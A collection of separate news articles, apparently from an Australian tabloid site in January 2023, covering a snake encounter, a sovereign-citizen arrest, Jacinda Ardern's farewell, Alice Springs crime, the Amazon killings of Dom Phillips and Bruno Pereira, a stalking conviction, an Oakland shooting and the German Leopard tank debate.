The vision revealed the pet pacing towards the owners and meowing, before the camera zeroed in on the snake slithering away under a large hedge.

Nala's owner Rachel Glover took to social media describing the cat's lucky escape.

'She came when we called and the snake just rose up as a warning and didn't strike,' Ms Glover said.

'I think she wasn't giving aggressive vibes so snake just gave her a warning. We are shaken but ok.'

The 'shaken' pet owner urged pet owners in the area to keep their animals inside and added she was going to put some netting down to try and prevent another visit (pictured, an eastern brown snake )

She said the snake catcher wasn't able to locate the creature, which they estimated to be close to 1.8metres in length.

'Not going outside EVER!' Ms Glover said.

She urged pet owners in the area to keep their animals inside and added she was going to put some netting down to try and prevent another visit.
Footage has captured the moment a 'sovereign citizen' driver clashed with police before she was dragged out of her car.

The woman was pulled over on the Gold Coast, Queensland, recently and recorded her tense confrontation with police.

Video showed the woman trying to speak over the officer, refusing to provide her name and calling him aggressive.

The woman begins to commentate in the video that she has just been pulled over by police before she is interrupted by one of the officers.

He asks her to provide him with her full name but she refuses and asks him for his personal details.

The officer obliges the request before asking the woman a second time for her name.

'I do not consent,' the woman said.

The officer warns the woman she will be arrested if she continues to refuse to provide her details.

'Under what law?' the woman said.

The officer tells the woman to listen to him before she butts in.

The woman filmed the confrontation on her phone showing her trying to speak over the officer, refusing to provide her name and calling him aggressive

'You listen to me please,' she said.

The woman tries to cut off the police officer while he is speaking to her.

'You're being very aggressive,' she said. 'What crime have I committed?'

'You are unlicensed at the moment,' the officer responded. 'And you're obstructing me.'

The officer and his colleague explain the woman is under arrest at which point the woman tries to put up her window only for the officer to block it with his arm.

'Don't put that up on me, I will bust your window,' he warned.

The woman accuses them of being violent as the officers stand around her car.

'I can't believe the police are going to put me under arrest for a breathalyser,' she said.

'Violence, violence by the police! I have done nothing wrong. Let's discuss this nicely. I will open the door if you calm down.'

The incident comes less than a week after a police officer ripped out the window of a sovereign citizen's car when she refused to leave the vehicle in a separate incident

The officer reaches his arm into the car and unlocks the door.

The woman passes the phone to her passenger to continue recording the incident as the officer grabs her right arm and begins to pull her out of the vehicle.

Footage of the altercation was uploaded to Twitter where some social media users slammed the driver's actions.

'I love these Sovcit arrest videos. Best thing since the Jerry Springer show,' one wrote.

A second added: 'Why do these people video stuff like this? It makes them looking bad towards the police as she is refusing to answer there questions.'

The video comes less than a week after a police officer ripped out the window of a sovereign citizen's car when she refused to leave the vehicle in a separate incident.

The incident took place in Coffs Harbour, NSW, on Wednesday and started when an officer asked Helen Delaney, 52, to wind her window down.

Chloe Fisher was stopped by police while she was driving along the road at Gundagai, in rural NSW

The police officer remains composed in the video as the driver continues her ramble explaining her plates are being kept in the car

She refused to wind it all the way down and also refused to give her name or driver's licence before telling the officer he had 'no jurisdiction'.

He told the so-called sovereign citizen that she was being stopped because she was driving without registration.

Later checks found that the registration of the car Delaney was driving had expired in July last year.

She was arrested and charged with several offences before being bailed to appear at Coffs Harbour Local Court on Thursday.

Earlier this month, another driver claimed she was 'not part of the state' when she clashed with an officer for not displaying registered number plates.

Chloe Fisher was stopped by police while she was driving near Gundagai, in rural NSW.

She used her phone to film her conversation with the policewoman who asked her for forms of identification and whether the vehicle was registered.

Chloe stepped out of the car and explained she hadn't displayed any number plates because she was in the process of 'going sovereign'.
n January 19, 2023, Ambassador-Designate to Mauritius and Seychelles Henry Jardine took the oath of office in a ceremony at the National Museum of American Diplomacy. The ceremony was officiated by Acting Deputy Secretary of State John Bass and attended by Ambassador-Designate Jardines wife, Kathleen.

In his remarks, Ambassador-Designate Jardine said, We are excited at the prospect of engaging with the people of Mauritius and Seychelles, fostering close collaboration, advancing important shared initiatives, making new friends, and beginning the next chapter in what has been a life of wonderful experiences.

Ambassador-Designate Jardine thanked Chargee dAffaires Bineshwaree Napaul from the Mauritian Embassy to the United States for her attendance and expressed his optimism for the opportunities to work with the government and people of Mauritius on promoting democracy, security, and the environment, and in looking for ways to enhance our trade and investment.

Mr. Jardine also said he was looking forward to expanding engagement with and developing the U.S. presence in the Seychelles. With the new Counselor for Seychelles in Victoria, we are busy engaging with local officials and the community. We have many areas where we cooperate, including maritime security, financial good governance, managing the impacts of climate change and trade and investment, to name just a few, he said.

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Jacinda Ardern has donned a traditional Maori outfit as she delivered an emotional final address as New Zealand's prime minister.

Ms Ardern said on Tuesday she was 'ready to be a sister and a mum' as she prepares to step down from her role as leader of the country.

She described her successor Chris Hipkins as a 'personable, down to earth and practical' man and encouraged Kiwis to call him by his endearing nickname.

'You know me as "Aunty", I hope you know him as "Chippy" (his nickname in parliament). He is personable, down to earth and practical with tools,' she said.

Jacinda Ardern has donned a traditional Maori outfit as she delivered an emotional final address as prime minister

Ms Ardern said on Tuesday she was 'ready to be a sister and a mum' as she prepared to step down from her role as leader of the country

Ms Ardern will head to government house on Wednesday morning to resign her commission, with Mr Hipkins to be sworn in as prime minister soon after.

The pair spent Tuesday together, travelling to Ratana Pa for Ms Ardern's final public event as New Zealand's leader.

The meeting place was particularly poignant for the outgoing prime minister as it was the same location she announced her pregnancy four years ago.

Ms Ardern said Kiwis would still see her around, but not in public debates.

'You won't find me commentating on domestic politics. I've had my time,' she said.

'I'm ready to be lots of things. I'm ready to be a backbench MP. I'm ready to be a sister and a mum.'

Ms Ardern surprised Kiwis and much of her party last Thursday when she announced her resignation at Labour's year-starting retreat in Napier.

She described her successor Chris Hipkins as 'personable, down to earth and practical' man and encouraged residents to call him by his endearing nickname

The meeting place was particularly poignant for the outgoing prime minister as it was the same location she announced her pregnancy four years ago

After Deputy Prime Minister Grant Robertson declined to run for the Labour leadership, the party swiftly backed in Mr Hipkins, the only nominee in a leadership ballot which closed on Saturday.

It has since emerged that Ms Ardern warned close colleagues, including Mr Robertson and Mr Hipkins, around Christmas last year she was exhausted and would spend the summer considering a shock exit.

Mr Hipkins said he learnt of Ms Ardern's final decision shortly before she announced it last week.

Ms Ardern will head to the backbench for three months, resigning her seat in April ahead of an October 14 election.

The 42-year-old's departure also sparked speculation she was leaving due to the weight of abuse and threats towards her office, something Ms Ardern denies.

'I would hate for anyone to view my departure as a negative commentary on New Zealand,' she said.

'I've experienced such love, compassion, empathy and kindness when I've been in this job.

'That has been my predominant experience. I leave feeling gratitude for having this wonderful role.'

Ms Ardern surprised Kiwis and much of her party last Thursday when she announced her resignation at Labour's year-starting retreat in Napier

Mr Hipkins declined to share any advice Ms Ardern offered him during their van trip from Wellington together.

Ms Ardern said there was one cut-through message.

'You do you,' she said, encouraging Mr Hipkins to walk his own path.

'It's for him to carve out his own space, be his own kind of leader... this is now for him.'

The annual mission to Ratana Pa, a town in the Whanganui region, is a unique part of the New Zealand calendar.

Politicians are invited to address leaders of the Ratana Church, a Maori branch of Christianity, during the three-day festivities each year.

The church has ties to Labour dating back to a pact with Michael Joseph Savage, the party's first prime minister.

Leaders applauded and sang praises for Ms Ardern during a powhiri, or welcoming ceremony, rich with pageantry and Maori waiata, or song.

Ms Ardern closed proceedings with a short speech of thanks.

'I leave with a greater love and affection for the people of Aotearoa New Zealand than when I started. And I didn't think that was possible,' she said.
A Woolworths store has been forced to shut its security doors while still open and impose strict closing hours to try and curb violent incidents.

The Alice Springs Woolworths will bring forward its closing time from 9pm to 7pm from January 30 to protect shoppers and staff from 'incidents'.

'The safety and well-being of our team and customers is of the utmost importance to us,' a statement from Woolworths reads.

'We believe that this change in trading hours will help to reduce the likelihood of incidents occurring.'

Supermarket giant, Woolworths, had to close security doors to exits at its Alice Springs store (pictured) while shoppers were still inside to try and curb violent incidents

The supermarket has recently closed security doors across all exits at night from January 15 in response to a violent attack at the store.

'There is no place for violence anywhere in our community,' Woolworths' statement reads.

'We thank police for their swift response to the incident that occurred at our Alice Springs store recently.

'Our team reacted calmly to the incident in line with our established safety procedures, and we thank them for doing so in trying circumstance.'

The town is in the grip of a spate of break-ins, robberies and violent crimes committed primarily by youth in the area.

The store had to bring forward its closing time from 9pm to 7pm (pictured) for the safety of staff and customers as the outback town experiences a wave of youth crime

A photo of the closed security doors with shoppers still inside was shared to the Facebook page, Action for Alice 2020, with many commenters upset with how far the situation had come.

'The whole of Australia should be outraged at what is going on in Alice,' one commenter wrote.

'Where are our elected leaders? Where is the Police commissioner or anyone to address the poor suffering mugs of Alice,' another commenter wrote.

'I was at the post office at 7pm and there wasnt a single person around no mob,' one commenter wrote, kicking back at the outrage.

'I call BS. Nobody in this picture looks concerned for themselves!'

Darren Clarke (pictured), who runs the Action for Alice 2020 Facebook page, where the images were posted, has called for the sacking of NT Police Minister Kate Worden

The owner of an Alice Springs bakery, Darren Clarke, who also runs the Action for Alice 2020 Facebook page, took aim at NT Police Minister Kate Worden in an interview with Sky News on Tuesday morning.

'Anthony Albanese when he gets off the plane, the first thing he should say to (NT Chief Minister) Natasha Fyles is 'Kate Worden, go',' Mr Clarke said.

'She has to go and she has to go today.'

Police and some commentators claim crime levels in the outback town have escalated since the government lifted bans on alcohol in July.

Problems were 'immediate', police said, when the Stronger Futures in the Northern Territory Act ceased on July 17, 2022, meaning alcohol was available for the first time in many of the Territory's Indigenous settlements since 2007.
A man who allegedly ordered his henchman to track down and kill an Indigenous tribes expert in June in the Amazon Rainforest has been captured, police said.

According to law enforcement officials in Brazil, Ruben Dario da Silva Villar- also known as Colombia - ordered a kill on Bruno Pereira, 41, an activist who was helping Indigenous tribes combat illegal fishing and hunting.

When Villar's men went after the activist, chasing him in a boat and shooting at him, they also shot and killed British journalist Dom Phillips, 57, who was in the Amazon researching for a book.

Villar, an illegal fishing trafficker, is the fourth man arrested after three were arrested and charged last year in connection to their murders.

Federal police say they are still searching for one man who they believe gave one of the guns to a gunman and also helped hide the bodies.

A kill was allegedly ordered on Bruno Pereira, 41, an activist who was helping Indigenous tribes combat illegal fishing and hunting

Dom Phillips, 57, was in the Amazon researching for a book

Villar (pictured) was initially arrested in July after the murders for using a false investigation during questioning but he was later released

Villar was initially arrested in July after the murders for using a false investigation during questioning but he was later released.

He was arrested again in December for breaking the rules of his release and has been detained since that incident.

On Monday, law enforcement officials said during a press conference Villar provided the ammunition to kill the pair, made phone calls to the confessed killer before and after the crime, and paid his lawyer.

The group of officials said they plan to charge Villar with the murders, ordered because he believed Pereira was hurting his business with his activism.

Pereira and Phillips were traveling in the Amazon in June to meet with a group of Indigenous men who patrolling the Javari Valley.

The area is home to a remote Indigenous reservation with 19 different groups.

Protests erupted in Brazil and around the world over the deaths of Perira and Phillips

Beatriz Matos, the widow of human rights activist Bruno Pereira, center, and Luiz Inacio Lula da Silva, Brazil's former president, second left, attend an event with the indigenous community

Brazilians and indigenous groups held memorials for the two men in the weeks after their disappearance and deaths

Pereira, a former top official for Brazil on tribes, was working with the groups, training them to document crimes using phones and cameras.

The Indigenous groups were working to combat illegal fishing and hunting in the region, which had increased under the administration of former president Jair Bolsonaro.

Phillips was tagging along and interviewing tribesmen for a book on ways people were working to save the Amazon Rainforest.

Police say they believe Villar ordered the killings based on testimony from witnesses and records connecting him to the ammunition used and the lawyer of one of the men who was also arrested.

Villar has denied any wrongdoing in the case.

'I have no doubt that Colombia was the mastermind,' said investigator Alexandre Fontes said at a press conference, according to the Brazilian news website G1.

Pereira, a former top official for Brazil on tribes, was working with the groups, training them to document crimes using phones and cameras

The Javari region is an area notorious for illegal mining and drug trafficking, and the pair had reportedly faced threats before their disappearance

A mural of the late human rights activist Pereira outside of an event with Indigenous leaders

Fisherman Amarildo da Costa, known as 'Pelado,' his brother Oseney da Costam or 'Dos Santos,' and Jefferson da Silva Lima, have also been arrested.

Amarildo was seen by witnesses in a boat following Phillips and Pereira at high speed before their disappearance.

Local police found traces of blood on his boat and personal effects of the two missing men near the home of 'Pelado,'

They also seized firearm cartridges and an oar during a search last summer.

Perira and Phillips' bodies were discovered by Brazilian officials on June 15 and later identified and returned to their families.

Amarildo da Costa de Oliveira, nicknamed Pelado, also confessed that he shot Phillips and Pereira and has been under arrest since after the killings in early June

Heavily armed federal officers led one of the suspects onto a boat and towards the river where missing British journalist Dom Phillips and Indigenous expert Bruno Pereira disappeared

In a statement shared by the Associated Press, UNIVAJA, the local Indigenous association that employed Pereira, said it believed there were other significant planners behind the killings who have not been arrested.

Activists agree, saying they believe the case is far from over.

'Who is financing these people so they can continue their illegal activities?' said Eliesio Marubo, a lawyer who works Indigenous association, speaking with the New York Times.

'The federal police didn't answer that. We need a deeper investigation,' Marubo said.

Brazilian campaigners are pictured asking: 'Who ordered the killing of Dom and Bruno?'
A 32-year-old Kansas hunter was found dead in his car on Saturday, with sheriffs concluding that he was killed when his dog stepped on the trigger of his rifle.

The unnamed man from Wichita was found near the hamlet of Geuda Springs, 50 miles south of Wichita and home to 194 people just north of the Oklahoma border.

Sheriffs believe he died at around 9:40am.

'A canine belonging to the owner of the pickup stepped on the rifle causing the weapon to discharge,' the sheriff's office said.

'The fired round struck the passenger who died of his injuries on scene.'

The unnamed man from Wichita, Kansas was found on Saturday near this village, 50 miles south of the city and just north of the Oklahoma border

Sheriffs did not name the man, but many on social media mocked his injuries.

One friend defended him.

'To all the comedians and weapons experts here: This boy was my friend, having been best friends for over 20+ years with his dad,' he wrote.

'These comments are hateful.

'I know this family very well and cannot tell you how much their hearts hurt right now. Shame on you.'

Shootings by pets are rare, but not unheard of.

FILE PICTURE: Shootings by dogs stepping on triggers are rare, but not unheard of

In November, a 32-year-old man in Turkey was reportedly shot and killed by his own dog after the canine stepped on the trigger of a shotgun and it fired at him.

Ozgur Gevrekoglu was killed while out hunting with his friend in the Kizlan Plateau, in the Samsun Province of Turkey, the newspaper Turkiye reported, according to Newsweek.

While putting his dog into his car, the animal's paw touched the loaded weapon and the rifle fired at Gevrekoglu from a short distance.

He was taken to the hospital after the incident and later pronounced dead.

And in 2015, an Indiana woman was shot in the foot by her dog, named Trigger.

Allie Carter, 25, laid her 12-gauge shotgun on the ground without the safety on during a waterfowl hunt at Tri-County Fish and Wildlife Area, said Indiana conservation officer Jonathon Boyd.

Boyd said Trigger, a chocolate Labrador retriever, stepped on top of the shotgun and depressed the trigger.

He said Carter was shot in the left foot at point-blank range, suffering injuries to her foot and toes.

She was treated at two hospitals and released.
Anthony Albanese is treated like every other customer

Corinthian Rotisserie has been in business since 1980

Anthony Albanese might be the most powerful person in the country, but he still dines at the same Sydney restaurant he's been going to for two decades.

Mr Albanese told Triple M radio that the Corinthian Rotisserie is 'the best Greek in Marrickville' and the lamb cooked by Marie Giannakelos is 'to die for'.

The food at the restaurant owned by Frank Giannakelos, 80, and his wife Marie, 70, is so good the menu hasn't changed since it opened four decades ago.

For 43 years, six days a week, lunch and dinner, dine in or takeaway, the Corinthian has specialised in slow cooked lamb, souvlaki and moussaka.

Prime Minister Anthony Albanese (left) is pictured with George Giannakelos in the Corinthian Rotisserie restaurant in Marrickville in Sydney's inner west

For 43 years, six days a week, lunch and dinner, dine in or takeaway, the Corinthian (dining room pictured) has specialised in slow cooked lamb, souvlaki and moussaka

Frank and Marie still work in the kitchen alongside their son Chris, 46, while another son George, 49, works in the dining room.

'We've been here 43 years and Anthony Albanese has been coming for 20 years and his office is across the road,' Chris Giannakelos told Daily Mail Australia.

'He's like a regular customer, a normal person.'

'Now that he's Prime Minister, we still treat him as a normal person. He's doesn't want any special (treatment). Nothing. He sits at whatever table is available.'

Mr Giannakelos said Mr Albanese is a popular figure around his Sydney inner west constituency of Marrickville.

'People love him around the area. He walks around, people greet him, he doesn't get any backlash or anything,' he said.

Anthony Albanese said the Corinthian Rotisserie (pictured) is 'the best Greek in Marrickville'

Mr Albanese said the Corinthian Rotisserie is 'to die for' (buffet pictured)

That sense of normality also extends to the restaurant, where the Prime Minister just walks into the restaurant like anyone else with no pre-planned arrival.

'No one bothers him when he comes into the restaurant,' Mr Giannakelos said.

He said they have also had other famous people dine at the Corinthian but doesn't want to name names as, unlike Mr Albanese, they haven't spoken publicly about going there.

With its new found fame due to the Prime Minister mentioning it, the restaurant may find itself even busier than normal.

But with both parents and their sons still working there, the Corinthian still remains family affair.

'Me and George are going good, we're happy as it is,' Mr Giannakelos said. 'Our parents want to keep working, they love it.'

Frank Giannakelos (pictured) is 80, but still works in the restaurant he started 43 years ago

Though most online reviews of the Corinthian are extremely positive, some have complained that 'locals' and 'Greeks' get special treatment.

'If you're Greek, you get better service than if your're not,' one person on review site Zomato said.

Another on TripAdvisor said: 'Waited forever to be served and then for our main course food to arrive.'

A third praised the 'salads, calamari and Greek beer' but said the 'meat dishes were overcooked and greasy'.
A young man has fallen from a cliff at Sydney's Coogee Beach sparking a major response from emergency services.

The teenager, believed to be 17-years-old, fell from a height of about 15 metres just after 4pm on Tuesday afternoon.

Police and several ambulance crews rushed to Dunningham Reserve, with a PolAir helicopter circling above dozens of swimmers at the packed eastern suburbs beach.

Police and several ambulance crews rushed to the scene shortly after with a PolAir helicopter circling above dozens of swimmers at the packed eastern suburbs beach

There are grave fears for the man who plunged from rocks at about 4pm on Tuesday

Despite efforts of paramedics the young man could not be revived and died at the scene, police said in a statement (pictured, paramedics at Coogee Beach on Tuesday afternoon)

Despite the best efforts of paramedics the young man could not be revived and died at the scene, police said in a statement.

The incident is being investigated and a report will be prepared for the coroner.

Witnesses should make a report to Crime Stoppers on 1800 333 000.
A middle-aged man who made lewd phone calls and sent obscene pictures and videos to nuns at five different convents, including an 84-year-old sister, has been found guilty of stalking yet again.

Daily Mail Australia confronted Martin Thomas Bothwell, 54, after he faced court over his latest offence - stalking a young woman with threatening texts, telling her he would grab her by the hair and drag her down the street.

The woman, who had simply enquired about inspecting his property, was sent a barrage of violent messages including ones threatening to 'bash her'.

Bothwell reacted angrily when approached by a reporter filming outside Penrith Local Court, demanding to know 'what are you doing?', before shoving his hand into the camera and trying to cover his face as he fled.

His latest crime occurred just six months after police warned a court that if he avoided jail for his campaign of harassment against the nuns, he would offend again.

Bothwell had sexually harassed nuns at Catholic orders in Sydney, Tasmania and Victoria during a period of two-and-a-half years.

Calling himself 'Danny Conner' and boasting that he possessed extremely large genitalia, he would make phone calls to the convents - some in the middle of the night - and make vile sexual suggestions while grunting and breathing heavily.

Martin Bothwell, 54, outside Penrith court on Tuesday where he faced court over harassing a woman with six months after he avoided jail for a 2.5 year campaign of terror 'sexting' nuns

Bothwell called nuns and told them he was a teenager named Danny and that he had huge genitalia that 'God has blessed me with' and sent them images of male private parts

In his latest offence, Bothwell texted a female housing officer and threatened to throw her out his apartment (above) window and 'drag her by the hair down the street'

In one June 2021 call to the Sisters of St Joseph By The Sea, at Williamstown in Victoria, an 84-year-old sister answered and Bothwell made a sexual remark before she hung up the phone.

He texted back six minutes later, sending an image of male genitalia, and followed up by texting the words: 'Dearest Sr (her name) I'm Danny, I'm 17 years old and God has blessed me with a (obscene, graphic description of male manhood)'.

Bothwell avoided jail when sentenced for these and other crimes in February last year, and was instead given a two-and-a-half year community corrections order.

While still subject to that order, in August and September 2022, Bothwell stalked and intimidated a woman who was involved in housing him in specialist accommodation in the western Sydney suburb of Jamisontown.

It came after the woman texted Bothwell a notice regarding an inspection of his property on August 22.

Bothwell sent the woman threatening texts after she booked a routine property inspection of the specialised accommodation he has been housed in since his previous conviction

Bothwell, 54, has avoided jail for harassing and intimidating women including several nuns, despite police warning that he would not stop offending unless he was locked up

In one call to the Sisters of St Joseph By The Sea, at Williamstown in Victoria (above), on June 20 last year, an 84-year-old sister answered and Bothwell made a sexual remark

Bothwell responded by sending the woman a series of texts, the first at 4.50pm, writing: '(Woman's name) you trouble maker, just u f***ing try opening my door with me answering, i'll f***ing throw you clean out the window.'

At 4.51pm, he sent another text: 'You f***ing dare try and break in, i'll f***ing bash u.'

At 5.20pm, Bothwell texted: 'You f***ing dare break in to my private apartment, I'll grab you by the hair and drag you down the street.'

The victim reported the texts to police, who interviewed him last October.

He admitted to police he had sent the messages and has pleaded guilty.

Bothwell's earlier harassment of nuns included several bizarre remarks, the court heard last year, such as when he texted the 84-year-old sister: 'You know mum and I know you can call her. Say I'm sorry, I'll try very hard not to leave my door open...'

In September 2020, Bothwell phoned a nun at the Our Lady of the Sacred Heart convent in Kensington (above) around 2.35am and told her he was a 17-year-old male named Danny

Bothwell, who police arrested last August when he was staying at the Matthew Talbot Hostel for homeless men (above), repeatedly texted or called nuns boasting about his genitals

Martin Bothwell called the Carmelite Monastery (above) in Launceston, Tasmania, and told a 45-year-old nun 'Hi sister, it's Danny' and made an obscene request

He then made vile sexual suggestions and asked her: 'Can I come and visit you?'

Police said 20 phone calls were made to the convent over the next 16 days with sexually explicit suggestions accompanied by heavy breathing.

The elderly sister said the texts and calls made her feel 'stressed, upset, frustrated'.

In August 2021, Bothwell called a 45-year-old nun at the Sisters of Carmelite Monastery in Launceston, Tasmania, and made an obscene request.

He breathed heavily and grunted before hanging up.

In September 2020, he phoned a nun at the Our Lady of the Sacred Heart convent in Kensington around 2.35am and told her he was a 17-year-old male named Danny, and made repeated references to the large size of his genitalia.

Martin Bothwell leaves Penrith Court on Tuesday after facing a hearing for harassing and stalking a woman via texts less than a year after he was sentenced for sexually stalking nuns

Bothwell emailed the editor of an online journal of the Sisters of the Good Samaritan Foundation at Glebe (above) and made lengthy suggestions in obscene detail

When detectives traced Martin Bothwell to Matthew Talbot Hostel (above) they were not confident he wouldn't offend again, saying he should be blocked from access to mobiles and religious organisations

The following month, Bothwell emailed the editor of an online journal of the Sisters of the Good Samaritan Foundation at Glebe and made lengthy suggestions in obscene detail.

Less than half an hour later he called the same convent and gave another graphic account of his manhood to a different woman.

In December 2020, he made a similar phone call to a nun at the Sisters of St Joseph at Picton, in western Sydney, and then sent lewd texts with obscene images to the same woman.

Between late September and early December 2020, Our Lady of the Sacred Heart at Kensington received 74 calls, which were answered by three different religious sisters.

When police began investigating the calls the calls last year, they contacted Bothwell, who did not have a permanent address at the time.

They arrested him at the Matthew Talbot Hostel for homeless men and he later told them he was 'embarrassed and ashamed' about the calls.

However, when Bothwell was granted bail, police expressed their concern he would continue to commit similar offences.

Detectives wanted to mitigate that risk by having him forced to surrender SIM cards and mobile phones and being banned from contacting any religious organisation other than the homeless hostel.

It was after that sentencing hearing last February that Bothwell moved to Jamisontown where he committed the more recent harassment offences.

The Downing Centre Local Court heard last year that Bothwell had bipolar disorder suffered delusions and hallucinations, and the offences had been committed under heavy alcohol and drug use, 'including crystal meth'.

He was convicted of five counts of use carriage service to menace, harass or offend and recommended for treatment with psychotic medication.

He remains on a community corrections order until 2024.
A shootout at an Oakland gas station killed one person and wounded seven others in the second shooting involving several people on Monday night in the San Francisco Bay Area, police said.

Officers were deployed to the scene at the Valero gas station on Macarthur Boulevard just after 6pm and learned there had been a shooting between several people, the police statement said.

The officers found shell casings at the gas station but no victims. However, dispatchers later learned that several victims had taken themselves to local hospitals for treatment of gunshot wounds.

The fatal shooting came hours after a farm worker killed seven people at two locations just 24 miles (39 kilometers) away.

Oakland police investigate a multiple shooting and homicide at the Valero gas station on Seminary Avenue at MacArthur Boulevard in Oakland, California, January 23, 2023

At least 19 shots were fired, according to the yellow markers placed down by police next to each of the shell casings at the Valero gas station on Seminary Avenue at MacArthur Boulevard in Oakland, California, January 23, 2023

Authorities immediately blocked off traffic and obtained CCTV footage after responding to the scene on Monday night.

At least 19 shots were fired, according to the yellow markers placed down by police next to each of the shell casings.

The East Bay Times reported that a witness, who identified himself as the gas station owner, said that several people were shooting a music video before the gunshots were fired.

A spokesperson for the Oakland Police Department said: 'At this time, we are aware of eight gun-shot wound victims, one of which unfortunately has succumbed to their injuries, while the remaining seven are all listed in stable condition.'

The deceased victim's name is currently being withheld until the family and next of kin is notified.

No arrests were made and other details were not immediately released.

'This is an active investigation, as you can imagine very fluid,' the police spokesperson added. 'We're asking anyone that may have witnessed this incident, that may have information or video pertaining to this shooting, to please contact our department.'

Police asked that anyone with information contact the OPD Homicide Section at (510)238-3821 or the TIP LINE at (510)238-7950.

An Oakland police crime scene technician investigates a multiple shooting and homicide at the Valero gas station on Seminary Avenue at MacArthur Boulevard in Oakland, California, January 23, 2023

Authorities immediately blocked off traffic and obtained CCTV footage after responding to the scene on Monday night at the Valero gas station on Seminary Avenue at MacArthur Boulevard in Oakland, California, January 23, 2023

Already, this is the sixth homicide investigated by the Oakland Police Department just this year.

The shootout took place only a few hours after a gunman killed seven people at two locations on the outskirts of Half Moon Bay, 24 miles (39 kilometers) southwest of Oakland.

Four people were shot at a holding run by Concord Farms, and three at Mountain Mushroom Farms two miles away.

Officers arrested a suspect, 67-year-old Chunli Zhao, after they found him in his car in the parking lot of a sheriffs substation, San Mateo County Sheriff Christina Corpus said.

Police said he was 'fully cooperating' with law enforcement.
Russia has warned that 'nothing good' will come of German tanks being sent to the front lines in Ukraine after Poland formally requested permission from Olaf Scholz to supply Leopard 2 vehicles to the war effort.

A bitter row has splintered the West and Germany over the decision to deliver German-made tanks to Kyiv, with Chancellor Scholz fearful that the Western supply of modern weaponry could drag NATO into the war and spark Kremlin repercussions.

The cowardly leader is facing intense pressure from Ukraine and NATO allies to agree to the delivery but he has so far remained unmoved.

Today, it appears the West is moving towards an agreement, as Berlin's defence minister Boris Pistorius gave the green light for allies to start training Ukrainian forces on the German-made Leopard tanks.

Polish soldiers are pictured in German-made Leopard 2 tanks which Olaf Scholz has been blocking from being delivered to Ukraine

NATO general secretary Jens Stoltenberg added after a meeting with Pistorius that a decision would be made 'soon' on the much-needed supply.

Under German law, the government needs to give permission before countries such as Poland or Finland could commit to re-exporting German-made tanks such as the requested Leopard 2.

Ukraine has been desperately pleading for the delivery which they believe could turn the tide of the war, instead of their troops relying on Soviet-era tanks.

Today, Poland's defence minister Mariusz Blaszczak confirmed: 'The Germans have already received our request for consent to sending Leopard 2 tanks to Ukraine.

'I am also calling on the German side to join our coalition of countries supporting Ukraine with Leopard 2 tanks.'

The request comes after Germany's foreign minister Annalena Baerbock on Sunday said Germany would not stand in the way if Warsaw asked to send Leopard tanks.

Ratcheting up the tension, Kremlin spokesman Dmitry Peskov said, 'these deliveries would bring nothing good to the future relationship' between Berlin and Moscow, adding: 'They will leave a lasting mark.'

While scores of nations have pledged military hardware for Ukraine, Kyiv is clamouring for the more powerful Leopard tanks, seen as key to punching through enemy lines.

The chancellor is holding back from supplying the tanks or allowing other NATO countries to do so through fear of Russian retaliation

A view of a part of the convoy as the mobile defence surface-to-air missile systems, Patriot, are transported to Poland yesterday

Pistorius said today that he had 'expressly encouraged partner countries that have Leopard tanks that are ready for deployment to train Ukrainian forces on these tanks'.

'I expect a decision to be made shortly,' he added ahead of a meeting with Stoltenberg in Berlin.

Stoltenberg welcomed the 'clear message' from the minister, 'because after a decision has been taken on the delivery on battle tanks, it will take some time to... make them ready' and to train Ukrainian soldiers to use them.

He added that he expected a decision 'soon'.

'We must provide heavier and more advanced systems to Ukraine, and we must do it faster,' Stoltenberg said.

Moscow has shown no signs of changing course in its invasion, he added.

'We have no indication that President Putin has changed his goals... The only way to lasting peace is to make it clear to Putin that he will not win on the battlefield,' he said.

Pistorius had emphasised earlier that Berlin was not opposed to Leopard deliveries but had simply not made a decision yet.

'We are supporting Ukraine not to lose this war, to win it against Russia,' he said in an interview with the broadcaster ZDF.

'And to that end, Germany is doing more than practically any other ally except the US.'

A Russian Army self-propelled howitzer Akatsiya fires toward Ukrainian troops at an undisclosed location

Asked when Germany was planning to make a decision on Leopard tanks, Pistorius said it was not up to him.

'This decision will be made in the chancellery,' he said.

He also defended Scholz against accusations of dithering on whether to approve the delivery of Leopards.

'Taking the lead does not mean blindly going ahead,' he said. 'And if the decision takes another day or two, then that's just the way it is.'

The comments come after withering criticism of Scholz from an MP and former minister who served in Angela Merkel's government.

Norbert Roettgen, an MP and former chair of the Foreign Affairs Committee in the Bundestag, lashed out at his chancellor, accusing him of 'stubbornness' over an issue which could help defeat the Kremlin's invading forces.

He told BBC Radio 4's Today Programme: 'There is a deep split within the government: the Chancellor and the SDP on the one side who are fiercely resisting delivering adequate and very much needed weapons like the Leopard 2 to Ukraine in order to make sure Ukraine can win, and the other two coalition partners, the Greens and the Liberals, they have been very much in favour of delivering weapons for quite some time.

'But they are swallowing the resistance of the chancellor. In the Bundestag there has been a clear majority for the delivery of heavy weapons for months. Since summer we have been calling for that.'

Ukrainian soldiers are seen riding on a T-72 Soviet-era tank, used widely in the ongoing conflict, in the Donetsk region, January 20

When asked if Scholz will change his mind, Roettgen replied: 'I do expect him, I have to be honest, I was personally absolutely sure that he would not let the Ramstein meeting happen without taking a decision.

'I publicly made this speculation, I turned out to be wrong about Scholz's stubbornness.'

Last week, discussions were held about the delivery of weapons from the West at the Ramstein airbase in southern Germany, but Scholz still held firm.

German defence group Rheinmetall said it could delivery 29 Leopard 2A4 tanks by April/May and a further 22 of the same model around the end of 2023 or early 2024, if Scholz gives the word.

It could also supply 88 older Leopard 1 tanks, a spokesman said.

European nations agreed to spend another 500 million euros to arm Kyiv in the latest boost to the multi-billion-dollar drive to help Ukraine push back Russian forces.

German Foreign Minister Annalena Baerbock on Sunday said Germany would not stand in the way if Warsaw asked to send Leopard tanks.

'We will seek this approval,' Poland's Prime Minister Mateusz Morawiecki told reporters Monday.

'Even if we didn't get such an approval in the end, we will give our tanks to Ukraine anyway - within a small coalition of countries, even if Germany isn't in that coalition', Morawiecki said.

Polish government spokesman Piotr Muller later told state television that a formal request was 'an important gesture and we will certainly carry it out in the coming days'.

Poland announced earlier this month that it was ready to deliver 14 Leopard tanks to Kyiv but was waiting for a clear statement from Berlin authorising the transfer.

Berlin has insisted on the need for all allies to work together.

Scholz's spokesman reiterated that stance Monday, saying the government 'does not rule out' the tanks' transfer but added: 'It has not yet been decided.'

German chancellor Olaf Scholz stands in front of a Leopard 2 tank in October last year (file photo)

Roettgen added today: 'This is not a new debate we are having in Germany, we have been having this for months, because this situation has been very clear for a very long time and [Scholz] has been blocking it effectively for months, at least since summer.

